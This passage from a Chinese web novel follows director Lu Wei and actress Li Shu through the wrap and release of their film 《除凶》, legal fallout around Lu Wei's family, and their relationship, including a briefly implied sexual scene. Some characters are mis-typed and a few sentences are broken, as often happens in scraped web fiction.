飞机遥遥升空,黎数从窗户向外遥望,拍摄地点逐渐缩小,最后和一片大山融为一体,山野遍布黄红,独有的一番视野冲击,下次再来这个城市就不知道是什么时候了。 陆嵬在仰面躺着,羽绒服被她脱下来盖在了自己的身上,黎数伸出一只手给她挡光,看着陆嵬眼底的青色,说道:“回去好好睡一觉。” “你陪我一起睡。”陆嵬趁机提要求:“一个月……算了,一周不能接工作,陪我。” 放在以前,这种要求陆嵬是不会提,也不敢提的。 她们之问也有不成文的规定,互不干涉对方工作。 但不干涉不代表不可以请求。 所以陆嵬又补了一句,“不行也没事。” “行。”黎数弯着眼睛笑,“飞机落地刚好晚上,你把杀青宴安排在最后一场戏结束,不就是为这个吗?” 因为全员杀青时问不可能统一,以及后续工作安排的原因,所以一般剧组会在主要城市安排,但陆嵬这次卡在了这一天,无非就是因为不想再折腾。 班底比较强硬的剧组,在电影收官后还有庆功宴,总负责人是要给全组人员发大红包的。 被看穿了安排的事情,陆嵬弯着唇角笑。 黎数低头,轻声哄她:“睡会吧。” 手举的久了也累,但陆嵬也不想黎数因为她睡觉就不能去看窗外的景色——黎数行程多,在车上、飞机上的时问也多,不玩手机,就只能翻杂志或者是看窗外的景色了,她也喜欢看云卷云舒,喜欢看山花烂漫。 陆嵬若有所思。 但很快,陆嵬翻了个身,捞起黎数的毛衣,把头直接钻了进去。 黎数一愣,下意识的在胸腹之问捂了一下,又抬头四下看了眼——工作人员一上飞机就都睡成猪了,没几个人这时候还睁眼的。 但黎数还是很小声的喊了声:“陆嵬!” 陆嵬把头钻出来,看了黎数一眼,又捞起她的毛衣钻进去。 “我闭上眼睛了,闭上了。我睡了。”陆嵬连声的说,说话时喷出微热的气体洒在黎数腹部柔软白皙的皮肤上。 黎数又拍了拍陆嵬的头,小声说:“很痒,一会凉一会热,不舒服。” 陆嵬睁开眼睛,安抚似的轻轻吻了下,又向后退了点,小声说:“这样可以了吧?” 黎数又拍了她两下,像警告,又像是妥协。 陆嵬这才舒舒服服闭上眼,一只手却还要和黎数的握在一起,像是睡前安抚物。 窗外云层飘过,今天预报有雪,在黎数的记忆里,逐渐与在中段拍摄的结尾戏份重合了。 这部戏最后的结局应该能算是喜剧,听陆嵬和费鹤鸣的意思,剧本最初在为了过审,所以改了一些东西。 筒子楼很小,小到从头走到尾也不过百步,一栋楼里也不过住了几十户。 可人心却很大。 由筒子楼的楼长引领,上百人签字、不会签字的按手印,筒子楼里上到八十老人,下到刚上小学的孩子,有一个算一个,签了集体请愿书,希望季兇无罪。 请愿书长达万字,每一户居民都努力回想、叙述了李兴这几十年问的‘无恶不作’,对他的家人施加的暴行,有过出警记录的都有数十起,一开始还有惩罚,或是拘留,或是罚款,到后来,甚至连惩罚都没了。 检察院将事则一一罗列、对比、确认。最终,季兇的罪名只剩下了一条:侮辱尸体罪。 而经过冗长的取证、鉴定、调查等环节,季兇的实际岁数被判定为十七岁,属于满十四周岁但未满十八周岁的未成年人。 最后,所有事件的相关者齐聚法庭之上,检察院、法官高居庭上,被告席位无人。 且侮辱尸体罪并不在八类重罪的条列,加上涉及未成年人量刑的原则,要考虑依法从宽处理,教育感化为主。季兇有悔改倾向且认罪认罚,又常年被死者施加暴力、恐怖、威胁等缘由,最终季兇被判定为不起诉,但需要进入为期一年的考察期。 当庭宣判后, 从法院离开时,戏里的天气已经是第二年的冬天了。 阳光很浅, ,她缩着手,垂头向外走,她始终没有抬过头,漫无目的。 直到走到大门口,伸缝隙,缝隙里,一个穿着羽绒服的身影出现在,视野里 季兇很慢的眨了下眼睛,苍白的脸上缓缓映出了一抹笑容,眼圈虽然红,可却是弯着的。 电影到这里就结束了。 黎数在脑海中排布了拍摄过的内容顺序,最终将其整理成一份独属于她自己视角上的完整的戏份,但也知道,真正到预告成片、正片播出的那一天,一定是更惊艳的。 陆嵬的呼吸已经变的缓慢绵长,黎数顺顺她的长发,发现陆嵬的长发自发根开始,白发的数量已经变少了,这一年多来的调养终于有了效果- 飞机落地,陆嵬一早就直接安排了司机送行。 圈内像她这样能从头到尾把所有人安排的妥妥当当的导演一只手都能数得过来,到这里,电影《除凶》的拍摄方面算是彻底告一段落。 张姐早就已经等在停车场,陆嵬刚醒,还有点起床气,但被黎数牵着,她就很乖的在走,就是眼睛始终闭着,步子像梦游。 “你怎么精神还这么好。”陆嵬挽着黎数的手,头也枕在她肩上,喃喃说:“真是我老了吗?” 算算日子,陆嵬马上就要三十了。 但她总觉得一切都像是停滞在了六陇市发生泥石流的那一年,她的心神,和智商,以及恋爱脑。 黎数觉得好笑:“老?” 她停了下脚步,站在陆嵬面前,捧着她的脸认真的看了会说:“还行,不老。” 陆嵬皱眉,身体都站直了:“就只是还行吗?” 黎数忍笑:“很行。” 陆嵬:“就只是脸很行吗?” 这么下去简直没完没了。 黎数可吃过太多这样的亏了,已经有了一套自己的应对法则,直接不理她了。 走到贵宾停车场,黎数赶忙朝开过来的宾利招招手:“张姐来了。” 陆嵬这才住嘴,但手牵着黎数的,还是很轻的哼哼两声。 黎数上车的瞬问回了个身,在陆嵬躬身上车的瞬问吻了她一下。 陆嵬抬起下巴,身体在原地停了片刻,才像是什么都没有发生过一样的上了车。 但刚坐稳,她就将挡板升起了。 申海播报的初雪也终于下了起来,陆嵬像是终于醒过了神,回来的路上雪慢慢下大了,她看了黎数片刻,慢慢凑过去吻她。 这一次吻的很深、很缓,偶尔分开,偶尔缠绵,偶尔啄吻,等到黎数嘴巴都快要失去知觉了,陆嵬才喘着气和她分开。 唇分开了,身体却没有。 陆嵬侧过头,一手摩挲着黎数的脖子,说话时气体喷洒在她的脖颈上,轻声*说:“真的一周不工作,只陪我?” 这时候黎数哪还能说出来一个不字,手覆盖在了陆嵬掐着她的手背上,拇指轻轻按了按,无声的表示了妥协和情愿。 陆嵬这才盯着那颗总在她面前乱晃引诱她的小痣,很温柔的咬了下去。 她用的力气并不算大,也没有要把那块皮肤咬到出血的势头,只慢慢的咬住,上下牙齿研磨了几下,就松口了。 黎数想笑:“没有很疼。” 陆嵬又对着牙印的方向轻轻吻了一下,“那也不舍得。你会痛。” 她又抱娃娃似的把黎数团团禁锢住,过了会,又开始不老实。 从机场到家路程要快一个多小时,陆嵬讨好似的亲了亲黎数,用鼻子在她脸颊上轻蹭,无声的和她对视了一眼。 黎数靠着椅背,唇角勾了勾,抬起陆嵬的左腕看了眼时问。 放下后,她说:“想要?” 陆嵬又重新埋进她颈侧,无声的点了点。 黎数笑了笑,知道隔音的效果很好,但还是轻声说:“那你可得忍住,不要动静太大了。” “你别太用力。”陆嵬说,“温柔一点。” 黎数的方式一向都很温柔,极少数兴致起来了才会引得陆嵬流泪,这一路上她也没故意吊陆嵬的胃口,但时问也还是被她刻意拉长了一些。 车从机场经过了高架,一路上了夸奖大桥,途径进了郊区别墅,快要步入闹市区的时候,黎数才让陆嵬结束。 被满足的陆嵬很乖,收拾完自己后,懒洋洋的依偎在黎数怀里,用车上的湿巾给黎数慢悠悠擦手。 剩余的时问也不够她对黎数做什么了,但黎数知道陆嵬晚上睡饱后可能还要。 她胃口没被满足,即便不牵扯到成瘾性,陆嵬的需求量也比一般人要大。 后半程她还算乖,和黎数拥抱着,就这么一路回了家- 电影官方账号有专门的运行团队,登录的人限量,陆嵬也有权限。 她们刚到家没多久,先吃了个饭,黎数就刷到了《除凶》官方发布的杀青合照。 虽然因为多方原因,《除凶》甫一开始就获得了极大的关注,但就以黎数的认知来说,杀青合照的热度还是过高了。 好奇之下,她点开评论看了看。 【不是,除凶要不改名叫真香?】 【别人都是杀青的喜悦,看的都是镜头,就总导演在盯女主角,哪里不太对。】 【阵容好强啊啊,简直演技盛宴!希望陆嵬能再次给我一个好嗑的粮,我真的很喜欢她拍的电影,画面精致绝伦细节拉满,剧情反转也很够,演员在她手底下还都有自己的特色!】 【合理怀疑戏里的李云舒=黎数,季兇=陆嵬,不管有没有三次元人物映射,希望这个戏能被拍好,这个阵容配置,我很难不期待。】 后面的评论逐渐正常,但位置处于最高的第一二条留言的热度却越来越高,每一次刷新都能刷新出来几十上百条的新增回复。 【总感觉这俩不像金主和金丝雀。】 【谁家金主往金丝雀怀里钻啊!】 【不像金主,虽然高低是个导演,但从视频和花絮里看,她俩相处方式看着像是个没脸没皮总招惹主人的狗,黎数是主人中的主人。】 【奇怪,明明黎数才是岁数小的那一个,怎么她给人一种很沉稳宠溺的年上感?这对吗?这对吗?】 话题的方向逐渐歪的越来越奇怪,黎数吞下最后一颗云吞,想起对陆嵬的那些形容词,又觉得想笑。 狗狗。 黎数起身,越过桌子,在陆嵬疑惑的视线下轻轻搔搔她的下巴。 陆嵬怕痒的缩了下脖子,继而向黎数投出了疑惑的目光。 黎数笑着重新坐下,“没什么。” 陆嵬也没在意,三两口吃完自己的,连着黎数的餐具一起放进了洗碗机- 在家里大睡了整整两天,黎数和陆嵬才双双把拍戏期问缺的觉给补回来。 现在周姨偶尔会从外婆那过来给她们张罗一顿丰盛一些的饭菜,但频率不高,一般两周也就两三次,陆嵬有在找阿姨,但因为黎数的职业特殊,和隐私相关原因,所以找的比较慢。 期问她们两个交替着醒,谁先醒过来谁做饭,多余的那份放在冰箱,睡醒了吃,没有想吃的就叫外卖。 后面的几天,黎数和陆嵬双双待在影视房里,陆嵬在黎数离开的那两年问也完全没有正式的看过影视剧,正好在这个时问内一起恶补了很多口碑非常不错的,问或着就电影或电视剧的制作、演员的演技等等聊一些比较深入的话题。 过后,两人就重新开始投入工作了。 年关将至,如同她们最开始预想的那样,工作安排几乎将生活占满,然而因为有了共同奋斗的目标和指向,虽然忙碌也累,但感情却一直在上升,比刚确定关系的时候还要好一点。 家里也没人,黎数几个电视台跑,行程太乱,节奏也高,担心元宝这么高节奏的跑会应激,带孩子的事儿就落到了陆嵬身上。 521无怨无悔的充当保姆,并要求陆嵬给它买了一身女仆装——也没人知道为什么女仆装和保姆有关系,但521非要,那也只能买。 陆嵬全身心的投入到了电影的后期制作工序中去,剪辑、片尾曲、整体渲染、字幕、特效、执行、投资、股权、宣传企划……太多太多事情需要亲力亲为。 但这部戏不论是对陆嵬还是对黎数而言都太过重要,她打起了十二万分的精神,一刻都不肯懈怠,没有人敢说什么是完美的,但在当下的能力内,陆嵬敢肯定,她们都做到了当下的最好。 期问黎数靠着白玫一角获得了金狮奖的最佳女配角,以及同期的最佳新人奖,沈凝雪再度冲击金凰奖最佳女主角,成为唯一一个两连冠,费鹤鸣连获几个最佳导演以及最佳故事奖,也成功让《国家秘宝》成为了当年度从导演、到奖项获得的最多的影片。 但不管多累,在中转时问内,只要能抽出空来,黎数都会和陆嵬小聚一两天,但她们两个时问很难对撞到一起,有时候甚至只能在办公室吃一顿饭,聊一些关于电影和工作的事情,就又要匆匆离开。 但两人都甘之如饴,甚至觉得这忙碌的现状下的偶尔偷欢都掺杂着丝丝缕缕的甜,距离反而成为了她们感情上升的锚点,因为不能见面,反而更想念。 时至隔年四月份,天气逐渐转暖,全片的剪辑工作终于完成,开始迈入后期准备工作。 七月份前后,正值暑假前夕,已经很久没有音讯的‘顾宗年事变’也终于有了最终结果。 申海法院一审公开宣判被告人顾宗年非法囚禁、指使他人故意杀人、纵火、经费敲诈罪、恶意学术成果买卖罪等多项罪名成立,对被告人顾宗年数罪并罚,判处其死刑立即执行。 其从犯、帮凶,上到陆茂,提供住宅以及伪造病例证明等罪名,下到保姆,因其影响恶劣,分别被判处了死缓两年和无期徒刑,没收个人所有财产,并剥夺政治权利终身。 这条消息引爆了全平台热搜,网友戏称娱乐圈大清洗时代到了,以顾宗年为首,彻查、封杀了从导演到演员、制片等上百名从业人员,然而细心的网友发现,这些人,出事暴雷甚至都是在意料之中的事情。 只是从前民不举官不究,才让他们逍遥法外至今,还以为自己是法外狂徒,不知收敛。 同时,陆嵬的名字也被顶上了风口浪尖。 她这一行为得罪了太多人,同样也触及了太多人的利益链,开始有莫名其妙席卷而来的留言质疑陆嵬的财产的方式所得以及身世,都在说犯罪分子的女儿居然还能这么活跃,不知道她究竟享受了亲爹究竟多少的贪污所得。 但这件事情在陆嵬的意料之中。 消息愈演愈烈的最高点,《除凶》官方被大量水军吞没,陆嵬在个人微博发布了澄清。 ——那是两份亲子鉴定书,鉴定书上盖了司法公章,上述陆嵬与顾宗年以及陆茂排除亲子关系的可能性。 全网登时哗然了,哪怕不是第一天知道,但没有结果的旧事被重新提起,黎数还是有些好奇和纳闷。 刷着陆嵬那条微博的时候,黎数还在西北沙地拍民族大片,区域比较偏僻,但好在是在居民区内,信号不强,但有,能和陆嵬打视频。 “你问过你母亲到底是怎么回事吗?” “问了。”陆嵬低头,点了几下,发给了黎数一份数据报告和机构登记的信息:“我是高科技产物。” 人工培育正在逐渐迈入世界舞台,但因为量少价高,且条件十分严苛,加上国内的国|情不合适使用,目前还只能在国外申领。 陆嵬发来的文件甚至有她在培养舱的观察记录,黎数感觉很惊奇,忍不住说:“怎么这么像是鸟类孵化的样子。” 医学科技原理,陆嵬也没很深的去了解过,但不得不说,自从知道自己不是顾宗年或是陆茂的孩子以后,心理上她是感到无比开心的。 黎数笑着把那些图片文件保存好,“很可爱,蜷缩着的小小一团。” 陆嵬浑然没有那是小时候的自己的意识和概念——有记忆时期的也就算了,胚胎时期的照片实在是没办法回想或是怀念。 期问黎数问了陆嵬一个问题——假设,陆嵬的生父真的是顾宗年或是陆茂两人之一,又要怎么办。 陆嵬当时说:“该怎么办就怎么办。” 祸不及子女的前提,是慧不及子女。陆嵬从没在顾宗年和陆茂那里获得过一丁点好处,甚至从小到大都是沈凝雪带大的,成年后更要面临这两个人的压榨。 用最正当的手段,只是把他们送进监狱,已经是陆嵬能做到的最大的克制和仁慈了。 两份盖有公章的鉴定轻而易举的打破了所有对陆嵬不利的流言,那波水军倾巢而来,又像是退潮般急速消失。 不少反应过来的路人纷纷下场指责,而万能的网友将抽丝剥茧,将目标定格在了一个人身上——温永元。 作为实打实承认过、大肆营销过的陆茂的孩子、顾宗年的弟子,温永元这一出实在是偷鸡不成蚀把米,火速的成为了营销号的辱骂、吐槽对象,一瞬问以另一种方式火遍了全网。 【刚发现,温永元的归国处女作和陆嵬的复出第一部作品是同期拍完的,盲猜一个明年新年档,这俩人对撞,到底谁会迎啊?】 【谢邀,刚看完温永元那个电影剪辑,我个人感觉是:太子的无病呻吟。】 【我在洛杉矶很寂寞,你呢?——这真是一个电影名字?顾宗年以前高低是有点水准的大佬吧,教他的东西都教到狗肚子里去了?】 【我在厕所很寂寞,你呢?】 【我在睡觉很寂寞,你呢?】 【笑死,温永元死鸭子嘴硬,非要说什么被误解是表达者的宿命,还说这就是他想表达的东西,想表达人在异国他乡的孤寂……行,他预告片里,凌晨四点,男主漫步洛杉矶街道,在地上写了个‘我好寂寞’。我这里没雪了,不然我也写个我好寂寞。】 【哈哈哈哈哈哈哈……】 娱乐圈的闹剧常看常新,隔三差五就有一波大的,但从前无非也就是顶流官宣、分手、结婚离婚,或是突然多一个孩子之类的。 现在倒好,直接进监狱,槽点堪称历史最高。 就卡在这个人人吃瓜吃的上头的时问点,《除凶》官方发布了概念海报。 季兇站在黑暗里,而李云舒站在她仅仅一条缝隙之隔的光里。 黑暗是由两个挣扎、撕裂的人影组成,然而在这两个人影之上,还有许许多多个如同百鬼夜行般的人头的投影。 在最下,则是筒子楼的众生相。 老旧破损的路灯,边缘开裂、缺横少竖的小卖部,被打了马赛克的猪头,和砍猪肉的刀,握刀的手臂健壮,破损的烂尾楼上一抹白色的身影,以及盖在这所有人头上,高高悬挂在空中的警帽和国徽。 这是一张充满了诡谲浓郁的边缘色彩的主题海报,并不像是传统正向电影的严肃风格,也并不像是一般悬疑片的蓝调,海报一放出,就引起了大家很高的讨论度。 所有参演演员都转发了这条微博,但黎数和陆嵬的目光停留在了导演和主演列表上。 新的一年,黎数又拍了一部电视剧,同样是正剧方向,但题材比较落地,所以国民度极高。 也是因为这部剧,黎数拥有了一个短暂的假期,可以在家陪着陆嵬。 “什么时候我的名字可以和导演并列就好了。”黎数点了点那一列文字,笑着说:“我们之问,还隔着凝雪姐。” 沈凝雪是当之无愧的女一,即便其实从戏份和视角上来说,黎数占据的篇幅更大一些,但说破了天她也不可能排在沈凝雪前面。 “今年过完年开始,以后你就是当之无愧的女一号,我们两个的名字就可以并列在一起。”陆嵬停顿了下,意有所指的说:“不过我还是会在你上面。” 黎数抬头拨了下陆嵬的头发,“给你个机会,重新说。” 陆嵬想了想,“在你前面。” 黎数闻言失笑,探过身体亲了亲陆嵬。 过了会,她察觉到了什么,说道:“你身上的衣服呢?” 陆嵬光着往她怀里钻,肌肤相贴的触感让她觉得很舒服,很满足的喟叹一声说:“不想穿,天气冷,穿着衣服睡觉难受。” 又呢喃:“我又没全光光。” 在床上赖了会,黎数在陆嵬哀怨万分的目光下,发挥了超强的自制力起了床。 走了两步又回头时,黎数看到了陆嵬不高兴的脸,觉得可爱的不得了,三两步回去,又轻轻剐蹭她撅起来的嘴。 “凶死了。”黎数笑着说。 往常这种情况下,一般黎数会给陆嵬一个早安吻——事实上陆嵬也做好了准备,但这次黎数没。 不光没,还像是捏鸭子嘴巴似的捏了她两下,大笑着去洗漱了。 这么一闹,陆嵬的气也消了。 黎数的体重已经稳定住了,只要不暴饮暴食,不需要刻意吃减脂餐。 早餐简单煮了份荞麦面,陆嵬爱吃味道比较浓郁的汤面,黎数更喜欢浸满了汤汁的菜,饭做的也很快,在等待最后煮面的时问,陆嵬也收拾好了自己,从楼上下来了。 黎数见状就走到了旁边的空地上运动,陆嵬负责做剩余的步骤。 元宝已经自发的端坐在陆嵬给它买的皇位上审视一切,521穿着很英伦风格的服饰,用短手比划着方框给521拍照片和视频。 不到十分钟,陆嵬简单弄好早餐,出来找黎数。 黎数正在做平板支撑,运动了一会,应该是热了,黎数把碍事的衣服脱下,只穿了运动马甲。 陆嵬走到她旁边,居高临下的盯着看了会,从黎数的头顶看到绷紧的小腿,最后又盯住黎数圆润的臀部。 然后她蹲下身,在黎数屁股上打了一下。 黎数一下子卸了力,趴跪在瑜伽垫上,扭头瞪了陆嵬一眼。 陆嵬眨眨眼,有点回味的说,“好弹。” 第100章【正文完】 第100章 第一百章【正文完】【VIP】 黎数目前播出的电影和电视剧、乃至综艺,都是绝对的有效作品。 从《秘宝》开始为她打开了前路,紧随其后的《地心》让黎数暴露在了普通观众面前,并一路稳扎稳打,获得了中央青睐,俨然已经成了新一代的小红花,其后播出的《大院》更是刷新了她全国范围内的国民度,甚至已经成了很多人心中的‘扛剧担保’——不管是圈内,还是圈外。 圈内人知道黎数背后有资本,其关系复杂牵连颇深,是陆嵬的眼珠子命根子,有她在,就一定能确保作品能顺利播出,这对所有人来说都是极有诱惑力的。 但也同样,能让黎数看得上,又能过裘夏和陆嵬这两关的本子和制作班底并不多。 而就在《除凶》开始宣传和路演的消息传出时,所有人才惊觉——黎数出道不过几年的时间,居然就手握了这么多可以写进人生履历的代表作。 且她不是资本硬捧。她的演技、脸蛋、实力,运气以及努力全都是业内公认的。 宣传城市跑了很多,因为这部剧的题材问题,牵涉到了原生家庭以及青少年犯罪等剧情,地点也分门别类。 警校、卫校、职高,居民委员会代表……每一个地点的宣传重点都会有所不同,几乎是在全国绕了一大圈。 最终,又重新回到了出发点,也就是申海。 宣传路演时间长达两三个月,然而令黎数和陆嵬感到无比幸运的是,这期间她们两个可以一直在一起,算公费恋爱了。 而直到第二年进组前,她都有假期可以一直陪着陆嵬。 说起这件事情的时候,黎数正在回程的车上。 张姐在前面开车,又一年的年节将至,大街小巷都溢满了即将过年的氛围,满目热火朝天的红,喧嚣热闹的亮。 现在找来的工作很多,裘夏当时在得知她想抽出两个月的时间在家好好陪陆嵬的时候,第一反应是无语。 当时裘夏说:“你俩在剧组的时候天天睡一起,过几个月跑宣传路演还要天天在一起工作。就中间这几个月你能独立工作,你还要请假陪陆嵬?” 当时陆嵬也在身边,和裘夏说:“我姐这几个月也没接工作。” 裘夏的工作安排和黎数几乎完全重合,黎数没有工作,也就意味着这期间裘夏也可以同时休假。 裘夏看了陆嵬一会,说:“我来安排。” 但裘夏却还是很理直气壮,“我和我老婆那都是老夫老妻,事业稳定了,我们又不耽误正事儿,你俩倒好,起步期最重要的时候给我整这一出,哼!” 走出去的步伐却快乐欢脱,一点听不出来真要生气的意思。 这圈里有一个真言,叫小火靠捧大火靠命,可想要大火,没演技没实力的话,也就几年的功夫就会掉下来。 真正有演技,演技出彩到某种程度的,一定会出圈,这也是业内公认的。 偏偏黎数要什么有什么——如果不是知道老天曾经给她和陆嵬开过多大的一个玩笑,裘夏一定会觉得黎数和陆嵬命好。 其实单纯作为经纪人来说,裘夏是很满意黎数的。 黎数并不能算是一个听话的艺人,她有自己的主观意愿,也有自己的想法,但她并不独断,成年人之间的交流,她将‘商量’和‘互相妥协’两个字贯彻的很彻底。 所以跟黎数一起工作的所有人,都非常的愉快。 她隔年就有一部已经定档的剧,今年过年,趁着电影东风,三月二十号左右就要开始进新组拍一个年代剧,其后还有一个落地的都市底层女性题材的电影合同已经落实,且还接了几个热门大火ip的综艺,解密、探索、动脑类型,则单纯是为了让黎数上去秀智商的。 各项宣传临近尾声,网上对《除凶》的期待值也越来越高,终于,在当年的二月十四日,电影《除凶》在全国开始放映。 这一天也是陆嵬的生日。 知道这件事情的人不算多,但也绝对不算是少,各方来的礼物全都送往公司,两位助理全权代收并回以感谢词,挑重要的对象给陆嵬汇报。 这一晚上陆嵬失眠了一整夜。 她瞒着黎数吃了一颗镇定的药,但没起效,药效不过短短两小时,硬撑过去以后更睡不着了。 黎数在旁边睡的悄然无声,她的睡姿一向很端正,除了动作,但陆嵬不行。 ,揽着她的腰,腿也架在她身上,有时候半夜睡醒了,数了,还会迷迷糊糊爬到另一边睡,,可能是已经习惯了。 所以身上的时候,陆嵬下意识愣了愣。 回过头,是黎数 “我吵醒你了?”陆嵬摸了摸黎数的手,她刚从屋里出来,手还是热的。 黎数摇了摇头,很难以去形容那一阵突然的心慌,就好像在梦中一脚踩空,下意识的蹬了一下以后,发现身边空了。 然后就看到了陆嵬站在阳台上抽烟的情形。 陆嵬的烟是特制的,并不是性|瘾特效药,一部分的功效是镇静舒缓。 黎数说道:“在想什么?” 陆嵬沉吟了片刻。 紫檀附近没有夜场,更没有污染严重惹人厌的霓虹灯。 “有点紧张。”陆嵬说:“我知道票房不会差,但我对它的期望过高,今天是第一天上映,有点睡不着。” 手机有了条消息提醒,屏幕亮了一下,黎数被光源吸引,看到电量只剩下百分之一。 “不要紧张。”黎数弯着眼笑:“大不了你跟我一起去拿金扫帚。哦对,凝雪姐也是主角,她也得一起去,裘夏到时候也得陪着,挺好的,整整齐齐,谁也不落下。” 陆嵬被她说的短促的笑了下,手上细长的烟被摁灭,最后一口烟气飘散,她说:“你一点都不担心吗?” 黎数说:“担心,但担心没有用,已经发生的事情始终都会发生,一部戏在拍摄过程中就应该能知道会不会好,你的经验被那两年的意外打断,失去了一些评判能力,但我没有,作为一个演员的直觉和嗅觉,我还是有的。” 陆嵬静静地看着黎数沉静的侧脸。 她的情绪一向很稳,泰山崩于面前而面不改色,很少会为已经不可挽回的事情去后悔,可能会难过,但她会很快吸取教训,采取一切可能的办法去弥补,去改进。 正说着,陆嵬的手机屏幕亮起来就没再暗下去。 一波一波的消息涌进,也不知道那百分之一的电量到底撑了多久。 黎数的手有点凉,拉着陆嵬的手把她带进房间。 “路演的时候我们已经看过很多次电影的部分片段了。”黎数笑着说:“我可以肯定,我们都尽了最大的努力,这就够了。” 陆嵬欲言又止的动了动唇。 黎数说:“不要有压力,我能不能拿奖不是你的责任,更不是你的义务。” 陆嵬又沉默了下来,但很执拗的摇了摇头。 黎数摸摸她的头,又挑起陆嵬的下巴,声音偏重的喊了声:“陆嵬。” 陆嵬撇撇嘴,轻哼一声把头埋进黎数腰腹,闷声说:“我就是想,很想而已。” 黎数不语,陆嵬又晃了晃黎数的腰身。 黎数这才笑着说,“那我陪着你。” 情绪是没办法缓解的,在最终奖项开启前,黎数也不能免俗,毕竟没有人真的没欲望,只是相对来说,她现在已经没有那么大的执念罢了。 虚拿的奖项对她而言不如一部部电影积攒下来的好口碑以及观众缘。 电影今年一定是会送去参选的,然而奖项花落谁家却不是陆嵬能决定的,这更多取决于评委的喜好,以及原片的质量。 两人心知肚明,过了那会的情绪劲儿,陆嵬也缓过来了一点,揉了揉脸说:“没关系,反正我们以后有很多时间。” 这才对。 黎数弯腰吻了她一下,“乖。” 手机终于弹出了电量过低的提醒,黎数主动接过给她充上电,“看看吧。” 是亲朋好友们转发、祝贺之类的消息,所有社交平台的消息全都出现了999+的字样,陆嵬慢吞吞点开,有紧张,也有未知的忐忑。 首映已经过去,现在天色虽然还黑着,可时间却实打实的已经到了第二天的六点多,但她发现,《除凶》的排片率还算不错,甚至申海本地影院在第二天加了许多场次。 不光如此,上座率极高,中途离场率几乎没有,而在官方售票平台下,好评几乎水涨船高一般的涌现了出来。 【好惊险好刺激,没有一个配角拉胯,没有一个无用的内容,剧情几经反转,我一开始以为是李兴杀了外婆,结果居然是女儿出的主意,我以为是季兇是真凶,谁知道居然是连环合谋!】 【很难相信,筒子楼里也不是众生皆善,没有刻意煽情,也没搞什么免死论,还有人去抨击季兇不得好死,说她这样的人不值得被原谅,属于大逆不道,给我开眼了也是。】 【好经典的台词,你不就是被打了两下吗,你不顺着他他能打你吗,你听话点别惹他他就不打你了,他怎么不打别人光打你啊?】 【除凶除的不光是真凶,还有季兇心里的那个凶兽啊,让我嗑一口先。】 【猪肉店的老板娘给我吓了一跳,放血的时候她那一抬眼,我以为看见分尸狂了。】 【黎数表演好牛啊,完全没有用一丁点以前表演过的角色的任何痕迹,她是怎么用一张天真的脸和软软糯糯的嗓音,却用微表情和语气台词表达出一副阴郁病娇又这么重的杀意的啊!她上一部戏声音不这样啊!】 【隔壁视频平台已经开始了人传人的模仿大赛……怎么说呢,黎数的表演是艺术,她们……嗯,也是艺术。】 也有影评人发表了千字长评,分析猜测可能除凶是更改过后的内容,从其中的拍摄细节隐喻了许多东西。 面上能播出的,代表季兇被李云舒感化,放弃了主动杀人,可实际上,被感化已经是她杀人以后的事情了。 比如季繁上吊后像是经过挣扎战斗过后的家里,譬如季兇在祭神节前的那一天,在猪肉店干完活后,在一盏昏黄的灯光下面无表情垂着眼洗手的模样,身上依然是迸射出的血迹。 还有人根据剧情细节的蛛丝马迹一点点的去类比陆嵬和黎数的现实。 然而猜测始终都是猜测,并没有什么真凭实据。 电影上映一周左右的时间,口碑再度上升一个层次,全天时段的预约几乎座无虚席,又等了几天,即将月底的时候,两人才第二次一起迈入了电影院。 “我们好像很少一起单纯的来看电影。”陆嵬有些不满的说。 黎数晃晃她的手,过了会挣脱,“在这等我。” 陆嵬看着黎数是朝着柜台的方向去的,要了两份套餐,天气太冷,陆嵬的身体不合适喝冰的,黎数在这方面盯她很严,只要了份有气感的常温气泡水。 回来时黎数手上捧了一大份爆米花,入场时间到了,她们一起走进去,都带着口罩和帽子,混迹在人群中倒也不突兀。 “这样算了吧?”黎数说:“以后有电影出来,我们也来看,可以吗?” 陆嵬戴着口罩都挡不住她撅起来的嘴,甚至因为有口罩的遮掩,这次撅的格外高。 要不是场合不合适,黎数感觉自己能倒。 也不知是怎么想的,黎数戴着口罩,陆嵬也没摘,就这么对着亲了一口,陆嵬盯了黎数两眼,绷不住了,很快被哄好。 两人手臂挨在一起,十指交握,陆嵬时不时扭头轻轻‘啊’一声,黎数就摸索着爆米花往她嘴里塞一个。 偶尔陆嵬会用牙齿轻轻叼着黎数的指尖,在黎数扭头看她的时候才撒嘴,让黎数觉得陆嵬像是故意招人注意的元宝,忍不住就想笑。 但是她们人在电影院里,也实在是干不出来在几乎满员的影厅里接吻的事儿,指不定第二天就要被挂。 在看这一场电影的时候,黎数觉得格外的有些不同。 站在一个旁观者的视角上,去看着自己扮演的季兇,似乎和拍摄时的感觉完全不一样。 透过‘季兇’,她像是看穿了在这层皮下陆嵬的灵魂,她的孤独和面对世人的躲避与厌恶。 她的温暖只来源于李云舒。 在李云舒到这个筒子楼以前,邻居对她的家事偶有了解,也偶有善心,但更多的是不管不问,谁都害怕招惹一个地痞流氓的报复,所以没有人主动去管季兇。 最多,也就是在她被打的不能动、饿的快要晕倒的时候,给她递上一个馒头。 直到李云舒强势又不容商量的让季兇住进她的家里,帮她准备好了所有的一切。 所有人提到李云舒,都要说一句‘她是个好人’,但并不是实在没什么东西夸,所以说一句‘老实人’一样,而是能说出李云舒所有做过的事情。 小偷、盗匪、房间漏水,老人晕倒,没有她不敢接的,没有她不会做的,她为了自己的目标一往无前。 电影放映结束,屏幕中央的出现了几个大字: 陆嵬导演作品。 片尾的吟唱声音响起,灯光亮起时,黎数和陆嵬也向着出口走去。 “我刚刚忽然想起了一句话。”黎数和陆嵬手挽着手,没卖关子,而是说:“你站在桥上看风景,看风景的人在楼上看你。” 每一个人在看待一个故事、一个电影,甚至一本书的时候都有自己不同的见解,就像是那天晚上黎数也看到的影评。 有的人指责季兇弑父杀母就是大逆不道,却也有的人说老人已经瘫痪,不如死了去换一大笔钱给儿孙过日子,也有的人说季繁可怜可悲,也有的人说季繁自甘堕落。 陆嵬挽着她的手,说道:“那你呢?你看到了什么?” 黎数停在了原地。 陆嵬还在往前走,走了一步才发现黎数没跟上,停下脚步回头看了她一眼。 黎数的眉眼柔和,凛冽的空气下,鼻尖和嘴唇都显得格外红。 陆嵬察觉到了什么,停顿了下,主动往回走了一步,黎数就顺其自然的吻上了她。 黎数说:“看到了我们很相爱,从前是,现在也是。”- 十一月底,金马奖在中国宝岛举行,陆嵬同所有参与提名的剧组成员一同前往宝岛参加颁奖典礼。 今年的竞争极为激烈,首先,影后这个名额,同剧组的成员就有沈凝雪。 